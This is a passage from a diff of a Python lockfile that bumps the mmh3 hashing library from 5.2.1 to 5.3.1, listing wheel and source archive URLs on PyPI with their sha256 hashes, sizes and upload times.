"https://files.pythonhosted.org/packages/97/ca/120d92223a7546131bbbc31c9174168ee7a73b1366f5463ffe69d9e691fe/mmh3-5.2.1-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4cbbde66f1183db040daede83dd86c06d663c5bb2af6de1142b7c8c37923dd74", size = 97311, upload-time = "2026-03-05T15:55:18.959Z" }, - { url = "https://files.pythonhosted.org/packages/b6/71/c1a60c1652b8813ef9de6d289784847355417ee0f2980bca002fe87f4ae5/mmh3-5.2.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8ff038d52ef6aa0f309feeba00c5095c9118d0abf787e8e8454d6048db2037fc", size = 103279, upload-time = "2026-03-05T15:55:20.448Z" }, - { url = "https://files.pythonhosted.org/packages/48/29/ad97f4be1509cdcb28ae32c15593ce7c415db47ace37f8fad35b493faa9a/mmh3-5.2.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a4130d0b9ce5fad6af07421b1aecc7e079519f70d6c05729ab871794eded8617", size = 106290, upload-time = "2026-03-05T15:55:21.6Z" }, - { url = "https://files.pythonhosted.org/packages/77/29/1f86d22e281bd8827ba373600a4a8b0c0eae5ca6aa55b9a8c26d2a34decc/mmh3-5.2.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:f6e0bfe77d238308839699944164b96a2eeccaf55f2af400f54dc20669d8d5f2", size = 113116, upload-time = "2026-03-05T15:55:22.826Z" }, - { url = "https://files.pythonhosted.org/packages/a7/7c/339971ea7ed4c12d98f421f13db3ea576a9114082ccb59d2d1a0f00ccac1/mmh3-5.2.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f963eafc0a77a6c0562397da004f5876a9bcf7265a7bcc3205e29636bc4a1312", size = 120740, upload-time = "2026-03-05T15:55:24.3Z" }, - { url = "https://files.pythonhosted.org/packages/e4/92/3c7c4bdb8e926bb3c972d1e2907d77960c1c4b250b41e8366cf20c6e4373/mmh3-5.2.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:92883836caf50d5255be03d988d75bc93e3f86ba247b7ca137347c323f731deb", size = 99143, upload-time = "2026-03-05T15:55:25.456Z" }, - { url = "https://files.pythonhosted.org/packages/df/0a/33dd8706e732458c8375eae63c981292de07a406bad4ec03e5269654aa2c/mmh3-5.2.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:57b52603e89355ff318025dd55158f6e71396c0f1f609d548e9ea9c94cc6ce0a", size = 98703, upload-time = "2026-03-05T15:55:26.723Z" }, - { url = "https://files.pythonhosted.org/packages/51/04/76bbce05df76cbc3d396f13b2ea5b1578ef02b6a5187e132c6c33f99d596/mmh3-5.2.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f40a95186a72fa0b67d15fef0f157bfcda00b4f59c8a07cbe5530d41ac35d105", size = 106484, upload-time = "2026-03-05T15:55:28.214Z" }, - { url = "https://files.pythonhosted.org/packages/d3/8f/c6e204a2c70b719c1f62ffd9da27aef2dddcba875ea9c31ca0e87b975a46/mmh3-5.2.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:58370d05d033ee97224c81263af123dea3d931025030fd34b61227a768a8858a", size = 110012, upload-time = "2026-03-05T15:55:29.532Z" }, - { url = "https://files.pythonhosted.org/packages/e3/37/7181efd8e39db386c1ebc3e6b7d1f702a09d7c1197a6f2742ed6b5c16597/mmh3-5.2.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7be6dfb49e48fd0a7d91ff758a2b51336f1cd21f9d44b20f6801f072bd080cdd", size = 97508, upload-time = "2026-03-05T15:55:31.01Z" }, - { url = "https://files.pythonhosted.org/packages/42/0f/afa7ca2615fd85e1469474bb860e381443d0b868c083b62b41cb1d7ca32f/mmh3-5.2.1-cp314-cp314-win32.whl", hash = "sha256:54fe8518abe06a4c3852754bfd498b30cc58e667f376c513eac89a244ce781a4", size = 41387, upload-time = "2026-03-05T15:55:32.403Z" }, - { url = "https://files.pythonhosted.org/packages/71/0d/46d42a260ee1357db3d486e6c7a692e303c017968e14865e00efa10d09fc/mmh3-5.2.1-cp314-cp314-win_amd64.whl", hash = "sha256:3f796b535008708846044c43302719c6956f39ca2d93f2edda5319e79a29efbb", size = 42101, upload-time = "2026-03-05T15:55:33.646Z" }, - { url = "https://files.pythonhosted.org/packages/a4/7b/848a8378059d96501a41159fca90d6a99e89736b0afbe8e8edffeac8c74b/mmh3-5.2.1-cp314-cp314-win_arm64.whl", hash = "sha256:cd471ede0d802dd936b6fab28188302b2d497f68436025857ca72cd3810423fe", size = 39836, upload-time = "2026-03-05T15:55:35.026Z" }, - { url = "https://files.pythonhosted.org/packages/27/61/1dabea76c011ba8547c25d30c91c0ec22544487a8750997a27a0c9e1180b/mmh3-5.2.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:5174a697ce042fa77c407e05efe41e03aa56dae9ec67388055820fb48cf4c3ba", size = 57727, upload-time = "2026-03-05T15:55:36.162Z" }, - { url = "https://files.pythonhosted.org/packages/b7/32/731185950d1cf2d5e28979cc8593016ba1619a295faba10dda664a4931b5/mmh3-5.2.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:0a3984146e414684a6be2862d84fcb1035f4984851cb81b26d933bab6119bf00", size = 41308, upload-time = "2026-03-05T15:55:37.254Z" }, - { url = "https://files.pythonhosted.org/packages/76/aa/66c76801c24b8c9418b4edde9b5e57c75e72c94e29c48f707e3962534f18/mmh3-5.2.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:bd6e7d363aa93bd3421b30b6af97064daf47bc96005bddba67c5ffbc6df426b8", size = 40758, upload-time = "2026-03-05T15:55:38.61Z" }, - { url = "https://files.pythonhosted.org/packages/9e/bb/79a1f638a02f0ae389f706d13891e2fbf7d8c0a22ecde67ba828951bb60a/mmh3-5.2.1-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:113f78e7463a36dbbcea05bfe688efd7fa759d0f0c56e73c974d60dcfec3dfcc", size = 109670, upload-time = "2026-03-05T15:55:40.13Z" }, - { url = "https://files.pythonhosted.org/packages/26/94/8cd0e187a288985bcfc79bf5144d1d712df9dee74365f59d26e3a1865be6/mmh3-5.2.1-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7e8ec5f606e0809426d2440e0683509fb605a8820a21ebd120dcdba61b74ef7f", size = 117399, upload-time = "2026-03-05T15:55:42.076Z" }, - { url = "https://files.pythonhosted.org/packages/42/94/dfea6059bd5c5beda565f58a4096e43f4858fb6d2862806b8bbd12cbb284/mmh3-5.2.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22b0f9971ec4e07e8223f2beebe96a6cfc779d940b6f27d26604040dd74d3a44", size = 120386, upload-time = "2026-03-05T15:55:43.481Z" }, - { url = "https://files.pythonhosted.org/packages/47/cb/f9c45e62aaa67220179f487772461d891bb582bb2f9783c944832c60efd9/mmh3-5.2.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:85ffc9920ffc39c5eee1e3ac9100c913a0973996fbad5111f939bbda49204bb7", size = 125924, upload-time = "2026-03-05T15:55:44.638Z" }, - { url = "https://files.pythonhosted.org/packages/a5/83/fe54a4a7c11bc9f623dfc1707decd034245602b076dfc1dcc771a4163170/mmh3-5.2.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7aec798c2b01aaa65a55f1124f3405804184373abb318a3091325aece235f67c", size = 135280, upload-time = "2026-03-05T15:55:45.866Z" }, - { url = "https://files.pythonhosted.org/packages/97/67/fe7e9e9c143daddd210cd22aef89cbc425d58ecf238d2b7d9eb0da974105/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:55dbbd8ffbc40d1697d5e2d0375b08599dae8746b0b08dea05eee4ce81648fac", size = 110050, upload-time = "2026-03-05T15:55:47.074Z" }, - { url = "https://files.pythonhosted.org/packages/43/c4/6d4b09fcbef80794de447c9378e39eefc047156b290fa3dd2d5257ca8227/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:6c85c38a279ca9295a69b9b088a2e48aa49737bb1b34e6a9dc6297c110e8d912", size = 111158, upload-time = "2026-03-05T15:55:48.239Z" }, - { url = "https://files.pythonhosted.org/packages/81/a6/ca51c864bdb30524beb055a6d8826db3906af0834ec8c41d097a6e8573d5/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:6290289fa5fb4c70fd7f72016e03633d60388185483ff3b162912c81205ae2cf", size = 116890, upload-time = "2026-03-05T15:55:49.405Z" }, - { url = "https://files.pythonhosted.org/packages/cc/04/5a1fe2e2ad843d03e89af25238cbc4f6840a8bb6c4329a98ab694c71deda/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:4fc6cd65dc4d2fdb2625e288939a3566e36127a84811a4913f02f3d5931da52d", size = 123121, upload-time = "2026-03-05T15:55:50.61Z" }, - { url = "https://files.pythonhosted.org/packages/af/4d/3c820c6f4897afd25905270a9f2330a23f77a207ea7356f7aadace7273c0/mmh3-5.2.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:623f938f6a039536cc02b7582a07a080f13fdfd48f87e63201d92d7e34d09a18", size = 110187, upload-time = "2026-03-05T15:55:52.143Z" }, - { url = "https://files.pythonhosted.org/packages/21/54/1d71cd143752361c0aebef16ad3f55926a6faf7b112d355745c1f8a25f7f/mmh3-5.2.1-cp314-cp314t-win32.whl", hash = "sha256:29bc3973676ae334412efdd367fcd11d036b7be3efc1ce2407ef8676dabfeb82", size = 41934, upload-time = "2026-03-05T15:55:53.564Z" }, - { url = "https://files.pythonhosted.org/packages/9d/e4/63a2a88f31d93dea03947cccc2a076946857e799ea4f7acdecbf43b324aa/mmh3-5.2.1-cp314-cp314t-win_amd64.whl", hash = "sha256:28cfab66577000b9505a0d068c731aee7ca85cd26d4d63881fab17857e0fe1fb", size = 43036, upload-time = "2026-03-05T15:55:55.252Z" }, - { url = "https://files.pythonhosted.org/packages/a0/0f/59204bf136d1201f8d7884cfbaf7498c5b4674e87a4c693f9bde63741ce1/mmh3-5.2.1-cp314-cp314t-win_arm64.whl", hash = "sha256:dfd51b4c56b673dfbc43d7d27ef857dd91124801e2806c69bb45585ce0fa019b", size = 40391, upload-time = "2026-03-05T15:55:56.697Z" }, +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8d/3c/eb1d82a87c504259dac5ce1c7de7587b68ffac841b55d23f8ea2c9df8422/mmh3-5.3.1.tar.gz", hash = "sha256:bd86d0c86b52332319d981d03781ff77811a29db544a69902dc06b5506bb3e19", size = 33354, upload-time = "2026-09-30T17:38:09.577Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1d/2f/b6f34c372d68835ca89cb9d6f5c5166577472e13dae769d411496a106111/mmh3-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:7e24c455cc6a4f30267a96c4f1fef85bfebffec5515ba6724e0ba88ac6baabaa", size = 55355, upload-time = "2026-09-30T17:34:58.391Z" }, + { url = "https://files.pythonhosted.org/packages/09/52/dc370ebb3b7c056821f7093748dd23de096779cbec63f8825266c0f42aec/mmh3-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:86cee07b7e2767f2ea221f5a04a08e4dbd35363897231115a16365ca24641c57", size = 39950, upload-time = "2026-09-30T17:34:59.505Z" }, + { url = "https://files.pythonhosted.org/packages/10/e9/f4c14e0ab768c4e2ba21cb0b212eedeb645459f3b5a353561a11f6f4a045/mmh3-5.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b07fe9ce79bf9b53b1117c0d4c03744eb4060526d82b39e64972e739467a5134", size = 39583, upload-time = "2026-09-30T17:35:00.617Z" }, + { url = "https://files.pythonhosted.org/packages/a7/89/dd694aae910d97d33f2559737baa07d99f2f48903c0df8025d297f5f26dc/mmh3-5.3.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:594b2ca6cbb84323a2539ad1790af3c324e36e6a95e2a012f7145af101952ad5", size = 97033, upload-time = "2026-09-30T17:35:01.704Z" }, + { url = "https://files.pythonhosted.org/packages/56/a7/1345f0a2f3babd780d9f01fc934559938c05ef009459c5c8385112acf3e4/mmh3-5.3.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:cee9fc91b4e9a8991fc1c7a67324a15a51b861f483d41a1d4eb58146b78ad53a", size = 102862, upload-time = "2026-09-30T17:35:02.983Z" }, + { url = "https://files.pythonhosted.org/packages/98/2b/bff20849193dcb3661f49008b8d131bbbd338b7b8ae9b35301440f5d8896/mmh3-5.3.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d503c1d7782719f79dc8523e889d4ab49bc478777a04ea2b2ac70eb3eb8ac616", size = 105875, upload-time = "2026-09-30T17:35:04.214Z" }, + { url = "https://files.pythonhosted.org/packages/bb/9d/c2c0674b047bf215ca1b2f5028290f03341af1f03913953548ea99deac8c/mmh3-5.3.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7927f2849b3800a245047ed6d95abbf23054737b563eb95dbc66736a98461a30", size = 112749, upload-time = "2026-09-30T17:35:05.639Z" }, + { url = "https://files.pythonhosted.org/packages/40/0f/cfd248294ee7def93e85a217485308504418507223741ac15f57f1b0a1c1/mmh3-5.3.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0b5214d98820ceca0269de89fb827c7693c4f3a886629001a4c0389b1afdb19e", size = 120347, upload-time = "2026-09-30T17:35:06.876Z" }, + { url = "https://files.pythonhosted.org/packages/29/65/a308ee33ed5d815bcf71b990700167c3b6d2c16ed2e27b2d445db1245b0e/mmh3-5.3.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0e95534bade32a4296ac31b628c62190284fe2ea1bd172f4e644e1d619f18846", size = 103100, upload-time = "2026-09-30T17:35:08.125Z" }, + { url = "https://files.pythonhosted.org/packages/76/5e/4150e3c33be634f85eb432817e3e31128972f9f9e412d9ced53ba786d2d9/mmh3-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aeaa11d54483e54d9bcc745f683545c08e5fc9bfd53c33b8cb3f617b935b1dc0", size = 98880, upload-time = "2026-09-30T17:35:09.441Z" }, + { url = "https://files.pythonhosted.org/packages/64/5c/59d6d7dd1df7e0a360792cdb5d20eae04120e1a2ab102ee4ebe21ea8e1df/mmh3-5.3.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:6aab19861fe9ced1fba8cb15a08a37bc196b8df29a77abf9ebca67cab058e18a", size = 98291, upload-time = "2026-09-30T17:35:10.708Z" }, + { url = "https://files.pythonhosted.org/packages/99/54/dcbd456a0e91d97ecc0dc1419585ceb253cc38e11ad209d11e2f061b820e/mmh3-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:40d07e293886613395aad9cee111afdb4ffb318b2f3d99bfb495aaf5f448887f", size = 106050, upload-time = "2026-09-30T17:35:12.019Z" }, + { url = "https://files.pythonhosted.org/packages/64/96/8eb7e23698924956895dcd5f5f4bc1ba5d3b8ea8bf94e0a94a50eb484a73/mmh3-5.3.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:d41ccf36d7de86b3c5944eadad2477919de0d30f92072fe0f494608440123da6", size = 100971, upload-time = "2026-09-30T17:35:13.272Z" }, + { url = "https://files.pythonhosted.org/packages/cc/64/7c9d0e77abb9a96e57c9d0de2e482cd41b95a29262c4b23d6a94ef0ea129/mmh3-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:8c22ee90aac1c78cbd0fcfe6421c8db3d37d3281e6fcba4e4bbbaea374a35706", size = 109548, upload-time = "2026-09-30T17:35:14.526Z" }, + { url = "https://files.pythonhosted.org/packages/ab/7f/d6b458d65d70dc156a2f071ad9714138f1bb5cb7ec599392f1e1a36ebbfd/mmh3-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:63655f88877717661f10662db70d017a421ca31c559e7c25d9dde58cf03a09f1", size = 97023, upload-time = "2026-09-30T17:35:16.046Z" }, + { url = "https://files.pythonhosted.org/packages/ee/30/d9615d459a8574b6d94acf7a391daa79d133054d424e30a7e3cb27cf2eff/mmh3-5.3.1-cp311-cp311-win32.whl", hash = "sha256:992c6539eaba38d940a1afcb5099186a041235338b99feafec6b631fd2ac4370", size = 40312, upload-time = "2026-09-30T17:35:17.286Z" }, + { url = "https://files.pythonhosted.org/packages/c2/30/467a1d50dc29a98556e1ae33d939f6ba85bc67a67da0c5012320ed1279f1/mmh3-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:dbb93d9ce4ce756952329aa4c583c54140f95dabe226f2b6937b17cb1ab4d817", size = 41702, upload-time = "2026-09-30T17:35:18.403Z" }, + { url = "https://files.pythonhosted.org/packages/c5/4c/b1e26ddfdf84d46a37ff5895eb8f06fc3fc568835ffed266fc139a9757f5/mmh3-5.3.1-cp311-cp311-win_arm64.whl", hash = "sha256:ce84a0f9f076f516016b92a2b9b60517076ccd8af056bc7536ac2a6fdc381efc", size = 40088, upload-time = "2026-09-30T17:35:20.113Z" }, + { url = "https://files.pythonhosted.org/packages/dc/2a/01734f735587e44b110fa7c44d3fa2fcd59db1cec2aea5ce0eb3002ebde6/mmh3-5.3.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:6ca2e4296573e67fbf4e4a52af029e6f8f7c947ec275fcc584f07d46d5149a13", size = 55355, upload-time = "2026-09-30T17:35:21.289Z" }, + { url = "https://files.pythonhosted.org/packages/a1/d9/4087514f8edc559d9f4a5e1cee258c18cab40e13a1ad4abba5f08c17a184/mmh3-5.3.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d0a3b185866b964b5c8c60cd644cabf6bd01509a38a29ba74c5bd34088e12b89", size = 39960, upload-time = "2026-09-30T17:35:22.735Z" }, + { url = "https://files.pythonhosted.org/packages/c2/85/31af9d6b280f04164eb493c0b2e716f8a8d681b0d2e0b6e5a5bbfd3fccc5/mmh3-5.3.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:bd928feed4a6f28ea8d2b48c1a41eb5a35fb62cfd1e0f06c3335378cc59b6c4d", size = 39563, upload-time = "2026-09-30T17:35:24.037Z" }, + { url = "https://files.pythonhosted.org/packages/74/8b/bb4f0da4a0f8a117e01cb9ef90039b754ab25eaf591a964155c1d2fae133/mmh3-5.3.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:34744ba81a0111010e72639c5f677ca89393ba7950540596e856dd1ed8b2a5d9", size = 97087, upload-time = "2026-09-30T17:35:25.15Z" }, + { url = "https://files.pythonhosted.org/packages/d5/20/f2f5877cb22ee3c26c52f4be8737c7cb94e23e6a5e47bf05654b189ed0af/mmh3-5.3.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:3b037280edc7a609a987fa7661a1132a3f6d721f46b299ed5f9f641b35ab415a", size = 103108, upload-time = "2026-09-30T17:35:26.471Z" }, + { url = "https://files.pythonhosted.org/packages/d4/c3/00480ddfd4e00213089c4a50801b685e344086948d8d0075e6533dd81979/mmh3-5.3.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6a48db69e7e7d40d18c24519a11b7d7d21a8b6b4af60fd2194d9ee514fa4354c", size = 106002, upload-time = "2026-09-30T17:35:27.705Z" }, + { url = "https://files.pythonhosted.org/packages/9a/10/f84fe70878ad89e059066a9977ff9f36116eac58f2480dd1046e4daef638/mmh3-5.3.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:334f2d7273bfc2ffd85f9b1a75d39d59da3158da94ca42a4e273120fcfc25edf", size = 112838, upload-time = "2026-09-30T17:35:29.006Z" }, + { url = "https://files.pythonhosted.org/packages/9d/f5/a37d77d505a4a1598dae775b965c226de014af5c389f5c2bfa505bb8e159/mmh3-5.3.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b78173b6b9bc69a8a455c63b380d892add205efe531e8206ef71d600324048bb", size = 120486, upload-time = "2026-09-30T17:35:30.227Z" }, + { url = "https://files.pythonhosted.org/packages/12/c0/93581e98cd76df75962fbf8f2be9a9dc6d4e1c63dc6dc2b85598bb1f513e/mmh3-5.3.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b1e950308111308f54c12d12a223bbc2882b75b59892858463a16508b375fc56", size = 103111, upload-time = "2026-09-30T17:35:31.704Z" }, + { url = "https://files.pythonhosted.org/packages/f5/17/3480de8e4bb66f7019bb02fc7454e28d721a31e0dfce6b2dc6f72973e871/mmh3-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:010dcd7406c2f77b978beaadfeb7a01d4f7868ce862f6273b1c37bd902267394", size = 98890, upload-time = "2026-09-30T17:35:32.936Z" }, + { url = "https://files.pythonhosted.org/packages/d0/6b/d5a0287c85ef2284a88c0150d6d3262f034390cee82854844f8bede1ad90/mmh3-5.3.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:4b87fe04af53cc9c2492f90a6d0287f52c94fef517df3de75c18346e0e119682", size = 98368, upload-time = "2026-09-30T17:35:34.502Z" }, + { url = "https://files.pythonhosted.org/packages/17/95/19efb8536b7cde6cd46abdc3d1c38354233b14288549b56434589e9b3fca/mmh3-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a847c3d57c64a76af48ed4f4e9abe8d3d966c577de1e39258595e5b38ddf6eb3", size = 106240, upload-time = "2026-09-30T17:35:35.763Z" }, + { url = "https://files.pythonhosted.org/packages/c6/03/9a715610de3f9350de45b2933221947460e3c421909801f65b0e96bf14ae/mmh3-5.3.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:814a69f39a3a3106eee1b870acb5ff09c436334a5a962df380c22988528cebd5", size = 100977, upload-time = "2026-09-30T17:35:37.108Z" }, + { url = "https://files.pythonhosted.org/packages/d9/6a/0f889bfbc7abcde5ec08eaff2381c093f7d00db63ca3071ab705bfb372c2/mmh3-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:d6c9a5cc1c19257b135874fe67b7ffcefad1eb7babd09ba9a2a4d9fb576e1a6a", size = 109754, upload-time = "2026-09-30T17:35:38.392Z" }, + { url = "https://files.pythonhosted.org/packages/37/7b/e3b441543a0e86f8635b6007ef8b7101442a7c90fae345a43538cd85c36c/mmh3-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8ffd80966acfaf4f786699ce37b75121c8252bb65636c0ba2f0cd9c6bb276de", size = 97303, upload-time = "2026-09-30T17:35:39.679Z" }, + { url = "https://files.pythonhosted.org/packages/06/03/bbb91c0c094e7131fb5f622ff5a079a25c125b92c7ece2ac8b3e38e1992d/mmh3-5.3.1-cp312-cp312-win32.whl", hash = "sha256:d3a3b8afadf1196566750aed853dd91e358447b8c1f39ce8625aabf590e3e686", size = 40340, upload-time = "2026-09-30T17:35:40.91Z" }, + { url = "https://files.pythonhosted.org/packages/8a/94/41c97ce26200a1a9242d159c2c5499844ec4a688fd4e69df044044f9e012/mmh3-5.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:b69e9f1d9c960236106f22bad1b3bf0a1110971decb0c1554d591c699e39a970", size = 41735, upload-time = "2026-09-30T17:35:41.972Z" }, + { url = "https://files.pythonhosted.org/packages/a8/d8/5b173bb7b4682dd9e707a523ce24a91234f25deb02d2790f02a1f5ddc2d6/mmh3-5.3.1-cp312-cp312-win_arm64.whl", hash = "sha256:cd7e7e54d8f90076059a15c3751e16b46211398af76a48db9e82143375f3a86c", size = 40098, upload-time = "2026-09-30T17:35:43.069Z" }, + { url = "https://files.pythonhosted.org/packages/e4/4c/c6faef1d29aa00a1f71d3a109547c86b029835b55ad19482dc625c98011c/mmh3-5.3.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4b2b6d135aafc93a666056ae87cf11dce93e11a3ee9b938d46076d93074699bf", size = 40911, upload-time = "2026-09-30T17:35:44.698Z" }, + { url = "https://files.pythonhosted.org/packages/7b/23/a35e5090c3685c3bd22f07586c4efa428710ad1404d6cf3fd47ad654e711/mmh3-5.3.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:98c6373ec81d4e74305d8d13d5de3aacf0e53e78dcb4a43dd74f6f3ff8452967", size = 42024, upload-time = "2026-09-30T17:35:45.814Z" }, + { url = "https://files.pythonhosted.org/packages/b5/59/350d214e1a37e5c2c92182750c06c671348346d52eb455bceaa861801349/mmh3-5.3.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:bf65874ed7c948281719632b6960f4eb572aa33e1a093a6a1d31bf064b0e540d", size = 38668, upload-time = "2026-09-30T17:35:46.993Z" }, + { url = "https://files.pythonhosted.org/packages/3b/c4/0a3d4e54549fd8edd6fa54cef0529dea7316666066f3bfa23c810d0c2b5e/mmh3-5.3.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:d1f3f35b97adfcf4545a4def9e0fb17e61eed8a06c29137a02829a67232e1588", size = 39344, upload-time = "2026-09-30T17:35:48.097Z" }, + { url = "https://files.pythonhosted.org/packages/80/b8/e96e8da1b8d52f62c15a8acb33cfd180778c18d71ed63e30a2085e35cf9c/mmh3-5.3.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:39bbc0665b064e63a0e64e9efab9a97a1f0535b0e1ffd8e43e23aef82e41ca21", size = 39852, upload-time = "2026-09-30T17:35:49.227Z" }, + { url = "https://files.pythonhosted.org/packages/3e/28/c657ba46881ba84b2e1d260545c141b0794bb579c981fd71a0f7e5c15a73/mmh3-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:5cc32468caf0071882c3682b9ab04f45d756231059b4e36cccc94eb972f8c192", size = 55334, upload-time = "2026-09-30T17:35:50.704Z" }, + { url = "https://files.pythonhosted.org/packages/12/5b/cbff42a3248d0869a940eebef0eefe7feb948f6eeed2f242f0098e2892a0/mmh3-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8cb9941e2613b22ed4901faa29338c134194b2dec501023e6433b7e62161e329", size = 39946, upload-time = "2026-09-30T17:35:51.944Z" }, + { url = "https://files.pythonhosted.org/packages/5a/0a/67d5082ad1fe184c4c928ca6be61d775947590863d52de0a9d9aa7d525b2/mmh3-5.3.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:c25a6d4b6ff31d801ff6f1ad5ce003271bceabf21c3e9ffcf04a47774354e956", size = 39561, upload-time = "2026-09-30T17:35:53.331Z" }, + { url = "https://files.pythonhosted.org/packages/de/2c/948789af3824e81621f01183c1a2a017229bd7884e243641628682ea9ea5/mmh3-5.3.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9ba38fef5eeed0668a27f8b5a002a5e30c789dd11fa058495b307f76226a4662", size = 97120, upload-time = "2026-09-30T17:35:54.528Z" }, + { url = "https://files.pythonhosted.org/packages/7f/46/88420e1561f1a5cda72e23581b9cbbde336cc4a4a8deb1259559bf57b8d2/mmh3-5.3.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:931d9d86c66f306e91414e95509af05e5c79bfcbac78218c2ee55c9734000053", size = 103129, upload-time = "2026-09-30T17:35:55.78Z" }, + { url = "https://files.pythonhosted.org/packages/bb/97/064d5c9eed7afe9b2087c164ab4b11a9d4cd0cb1d8d826804df72d7e0e17/mmh3-5.3.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ae367d0cf6cb40f3ec60ebdb572022f3cc875bcf4c661d345f3dbf24571e7aa3", size = 106044, upload-time = "2026-09-30T17:35:57.277Z" }, + { url = "https://files.pythonhosted.org/packages/39/b4/c4e968be21d55aead9ef78b6ac6fc0e4a455cfbbaff9ef62bcdaee40b26a/mmh3-5.3.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:59dab80b8124998406c168ddc9d6cbcede1c117dd0aed3db80e16e43ad71ef82", size = 112890, upload-time = "2026-09-30T17:35:58.596Z" }, + { url = "https://files.pythonhosted.org/packages/17/e9/b3f3da18b38bd08d39eb24c142ba3e9217b8975d3ca8468143dd3c63aafc/mmh3-5.3.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = 